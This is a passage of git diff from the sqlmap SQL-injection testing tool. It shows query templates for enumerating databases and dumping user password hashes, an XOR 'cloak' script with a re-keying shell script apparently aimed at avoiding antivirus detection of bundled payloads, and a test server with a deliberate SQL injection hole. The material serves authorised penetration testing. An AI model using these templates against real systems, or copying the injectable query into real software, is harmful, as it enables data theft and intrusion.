<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||
<blind query="SELECT name FROM db_user WHERE %s" count="SELECT COUNT(name) FROM db_user WHERE %s" condition="name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT owner_name,class_name FROM db_class WHERE %s" condition="class_name" condition2="owner_name"/>
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="InterSystems Cache">
|
||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="SELECT TOP %d %s FROM (%s) WHERE %%VID>%d"/>
|
||||
<limitregexp query="TOP\s+(\d+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+%%VID>(\d+)"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2=";"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<banner query="$ZVERSION"/>
|
||||
<current_user query="$USERNAME"/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="$USERNAME='_SYSTEM'"/>
|
||||
<check_udf/>
|
||||
<users/>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
<blind query="SELECT TOP 1 schema_name FROM (SELECT TOP ALL schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name) WHERE %%VID=%d" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT TOP 1 table_name FROM (SELECT TOP ALL table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name) WHERE %%VID=%d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT TOP 1 %s FROM (SELECT TOP ALL * FROM %s.%s ORDER BY %s) WHERE %%VID=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="eXtremeDB">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba/>
|
||||
<check_udf/>
|
||||
<users/>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs/>
|
||||
<tables/>
|
||||
<columns/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="FrontBase">
|
||||
<cast query="CAST(%s AS NCHAR VARYING(4000))"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="TOP (%d,%d)"/>
|
||||
<limitregexp query="\s+TOP\s*\(([\d]+)\s*\,\s*([\d]+)\)" query2="\s+TOP\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" TOP "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query=";--"/>
|
||||
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<inference query="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
|
||||
<banner/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT UPPER(CURRENT_USER) FROM INFORMATION_SCHEMA.IO_STATISTICS)='_SYSTEM'"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT user_name FROM INFORMATION_SCHEMA.USERS"/>
|
||||
<blind query="SELECT TOP (%d,1) user_name FROM INFORMATION_SCHEMA.USERS" count="SELECT COUNT(user_name) FROM INFORMATION_SCHEMA.USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT user_name,password FROM INFORMATION_SCHEMA.USERS" condition="user_name"/>
|
||||
<blind query="SELECT TOP (%d,1) password FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'" count="SELECT COUNT(password) FROM INFORMATION_SCHEMA.USERS WHERE user_name='%s'"/>
|
||||
</passwords>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT TOP (%d,1) "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk" condition=""schema_name""/>
|
||||
<blind query="SELECT TOP (%d,1) "table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" count="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT "column_name",data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" condition=""column_name""/>
|
||||
<blind query="SELECT "column_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.DATA_TYPE_DESCRIPTOR.column_name_pk=INFORMATION_SCHEMA.COLUMNS.column_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "column_name"='%s' AND "schema_name"='%s'" count="SELECT COUNT("column_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "table_name"='%s' AND "schema_name"='%s'" condition=""column_name""/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" condition=""table_name"" condition2=""schema_name""/>
|
||||
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.TABLES AS a JOIN INFORMATION_SCHEMA.SCHEMATA AS b ON a.schema_pk=b.schema_pk WHERE "schema_name"='%s'" condition=""table_name"" condition2=""schema_name""/>
|
||||
</search_table>
|
||||
<!-- NOTE: Not working properly with DISTINCT(...) in subquery -->
|
||||
<search_column>
|
||||
<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
||||
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -6,14 +6,17 @@
|
||||
# Version 1.3 (2019-01-05)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||
|
||||
# Version 1.2 (2018-01-08)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||
|
||||
# Version 1.1 (2017-04-07)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||
|
||||
# Version 1.0 (2016-02-27)
|
||||
|
||||
|
||||
@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
|
||||
Sherif El-Deeb, <archeldeeb(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
|
||||
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
|
||||
|
||||
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
|
||||
* for suggesting good features
|
||||
|
||||
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
|
||||
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
|
||||
* for contributing a Portuguese translation of README.md
|
||||
|
||||
Francesco Marano, <francesco.mrn24(at)gmail.com>
|
||||
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
|
||||
|
||||
Ahmad Maulana, <matdhule(at)gmail.com>
|
||||
* for contributing a tamper script halfversionedmorekeywords.py
|
||||
|
||||
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||
* for reporting a minor bug
|
||||
|
||||
Henri Salo <henri(at)nerv.fi>
|
||||
* for a donation
|
||||
|
||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
||||
|
||||
python sqlmap.py -hh
|
||||
|
||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Liens
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||
|
||||
Tangkapan Layar
|
||||
----
|
||||
|
||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
||||
Instalação
|
||||
----
|
||||
|
||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||
|
||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
|
||||
@@ -19,28 +19,26 @@ from optparse import OptionParser
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
ord = lambda _: _
|
||||
|
||||
def hideAscii(data):
|
||||
retVal = b""
|
||||
for i in xrange(len(data)):
|
||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
||||
KEY = b"MOZFqVjlk1CY436G"
|
||||
|
||||
return retVal
|
||||
def xor(message, key):
|
||||
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||
|
||||
def cloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
return hideAscii(zlib.compress(data))
|
||||
return xor(zlib.compress(data), KEY)
|
||||
|
||||
def decloak(inputFile=None, data=None):
|
||||
if data is None:
|
||||
with open(inputFile, "rb") as f:
|
||||
data = f.read()
|
||||
try:
|
||||
data = zlib.decompress(hideAscii(data))
|
||||
data = zlib.decompress(xor(data, KEY))
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
|
||||
|
||||
def main():
|
||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
parser = OptionParser(usage=usage, version='0.2')
|
||||
|
||||
try:
|
||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
16
extra/shutils/recloak.sh
Executable file
16
extra/shutils/recloak.sh
Executable file
@@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
|
||||
# NOTE: this script is for dev usage after AV something something
|
||||
|
||||
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
|
||||
|
||||
cd $DIR/../..
|
||||
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
|
||||
|
||||
cd $DIR/../cloak
|
||||
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
|
||||
|
||||
cd $DIR/../..
|
||||
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
|
||||
|
||||
git clean -f > /dev/null
|
||||
@@ -18,6 +18,7 @@ import traceback
|
||||
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
UNICODE_ENCODING = "utf-8"
|
||||
DEBUG = False
|
||||
|
||||
if PY3:
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
@@ -83,7 +84,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
||||
try:
|
||||
HTTPServer.finish_request(self, *args, **kwargs)
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
if DEBUG:
|
||||
traceback.print_exc()
|
||||
|
||||
class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_REQUEST(self):
|
||||
@@ -131,7 +133,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
||||
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||
else:
|
||||
code, output = OK, ""
|
||||
|
||||
@@ -147,16 +149,21 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||
results = _cursor.fetchall()
|
||||
|
||||
output += "<b>SQL results:</b>\n"
|
||||
output += "<table border=\"1\">\n"
|
||||
output += "<b>SQL results:</b><br>\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
if results:
|
||||
output += "<table border=\"1\">\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
|
||||
output += "</table>\n"
|
||||
else:
|
||||
output += "no results found"
|
||||
|
||||
output += "</table>\n"
|
||||
output += "</body></html>"
|
||||
except Exception as ex:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
@@ -221,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||
global _server
|
||||
try:
|
||||
_server = ThreadingServer((address, port), ReqHandler)
|
||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
||||
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||
_server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
_server.socket.close()
|
||||
|
||||
@@ -54,6 +54,8 @@ def action():
|
||||
|
||||
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
|
||||
|
||||
kb.fingerprinted = True
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
||||
|
||||
@@ -501,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Useful to set kb.matchRatio at first based on False response content
|
||||
kb.matchRatio = None
|
||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||
suggestion = None
|
||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not kb.negativeLogic:
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
@@ -568,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
candidates = sorted(candidates, key=len)
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||
conf.string = candidate
|
||||
suggestion = conf.string = candidate
|
||||
injectable = True
|
||||
|
||||
